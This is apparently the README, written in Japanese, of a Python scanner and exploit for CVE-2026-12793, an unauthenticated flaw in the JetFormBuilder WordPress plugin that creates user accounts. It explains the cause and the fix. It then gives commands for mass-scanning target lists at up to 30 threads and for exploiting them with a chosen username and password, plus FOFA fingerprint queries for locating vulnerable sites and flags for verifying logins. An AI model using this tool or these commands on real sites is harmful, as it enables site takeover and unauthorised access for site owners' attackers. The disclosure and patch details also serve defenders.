
Python製のPoCスキャナーおよびエクスプロイト。CVE-2026-12793(JetFormBuilder <=3.6.2における認証不要の権限昇格で、WordPress管理者アカウントを作成する脆弱性)に対応。
WordPress プラグイン JetFormBuilder — Dynamic Blocks Form Builder (Crocoblock) における CVE-2026-12793 の概念実証スキャナーおよびエクスプロイト。
| CVE | CVE-2026-12793 |
| プラグイン | jetformbuilder |
| 影響を受けるバージョン | ≤ 3.6.2 |
| 修正バージョン | 3.6.2.1+ |
| CVSS | 9.8 Critical |
| 認証 | 未認証 |
| CWE | CWE-269 — 不適切な権限管理 |
| 研究者 | daroo (Wordfence) |
このプラグインは、_jet_engine_booking_form_id が公開された jet-form-builder カスタム投稿タイプを参照していることを確認せずに、参照された投稿のブロックコンテンツをフォームスキーマとして読み込み、投稿送信後のアクションを実行します。
未認証の攻撃者が細工された AJAX リクエストを送信することで、Register User アクション (wp_insert_user) をトリガーし、新しい WordPress アカウントを作成できます。対象のフォームが昇格されたロール (例: administrator) で誤設定されている場合、サイト全体の乗っ取りにつながります。
1. Detect JetFormBuilder + version ≤ 3.6.2 (readme.txt)
2. Discover form ID from public pages (data-form-id, /register/, etc.)
3. POST to referer page with ?jet_form_builder_submit=submit&method=ajax
4. Register User action runs → new WP user created
Block_Helper::is_valid_form_post() — 公開された jet-form-builder CPT のみ受け入れForm_Handler::set_form_id() は無効なフォーム ID を拒否wp_insert_user / wp_update_user をコールバックとしてブロック)requestspip install requests urllib3
python poc.py -u https://target.example --mode check
python poc.py --list domains.txt --mode check --threads 30 --quiet
入力形式: 1 行につき 1 ドメイン/URL、FOFA CSV (host,domain)、または前回の実行で生成された candidates.jsonl。
python poc.py -u https://target.example --mode exploit \
--form-id 1858 \
--page-url /register/ \
--fields login=cadastro_nome,email=cadastro_mail,password=cadastro_senha \
--username myuser \
--email [email protected] \
--password 'SecurePass123!' \
--verify
python poc.py --list candidates.jsonl --mode exploit --threads 10 --verify
| ファイル | 内容 |
|---|---|
hits.txt | 脆弱な / エクスプロイトされたターゲット URL |
{
"target": "https://target.example",
"version": "3.3.3",
"form_id": 1858,
"page_url": "https://target.example/register/",
"fields": {
"login": "user_login",
"email": "user_email",
"password": "user_pass"
}
}
自動検出されたフィールド名はヒューリスティックです。エクスプロイト前に必ず確認し、
--fieldsで上書きしてください。
body="/wp-content/plugins/jetformbuilder/"
body="jet-form-builder" && body="wp-content"
header="/wp-content/plugins/jetformbuilder/"
title="WordPress" && body="data-form-id"
バージョンチェック:
/wp-content/plugins/jetformbuilder/readme.txt
Stable tag: ≤ 3.6.2 を探してください。
このツールは、許可されたセキュリティテストおよび教育目的のみ に提供されています。コンピュータシステムへの不正アクセスは違法です。作者は悪用に対して一切の責任を負いません。
MIT
| フラグ | 説明 |
|---|
-u, --url | 単一ターゲット URL |
--list | ターゲットリストファイル |
--mode | check (デフォルト) または exploit |
--form-id | 既知の JetFormBuilder フォーム投稿 ID |
--page-url | フォームを埋め込むページ (リファラ)、例: /register/ |
--fields | フィールドマップ: login=x,email=y,password=z |
--paths | フォームを探してクロールする追加パス |
--username / --email / --password | エクスプロイト用の認証情報 (省略時はランダム) |
--verify | 送信後に wp-login.php 経由でアカウントを検証 |
-j, --threads | ワーカースレッド数 (デフォルト: 20) |
--timeout | HTTP タイムアウト (秒) (デフォルト: 20) |
--proxy | HTTP(S) プロキシ URL |
--output | 完全な JSONL ログ (デフォルト: cve_2026_12793_results.jsonl) |
--vuln-list | ヒットリスト (デフォルト: hits.txt) |
--candidates-list | 候補 JSONL (デフォルト: candidates.jsonl) |
-q, --quiet | 進捗出力のみ |
candidates.jsonl | 到達可能な Register User プローブを持つターゲット (form_id、page_url、fields) |
cve_2026_12793_results.jsonl | ターゲットごとの完全な JSON 結果 |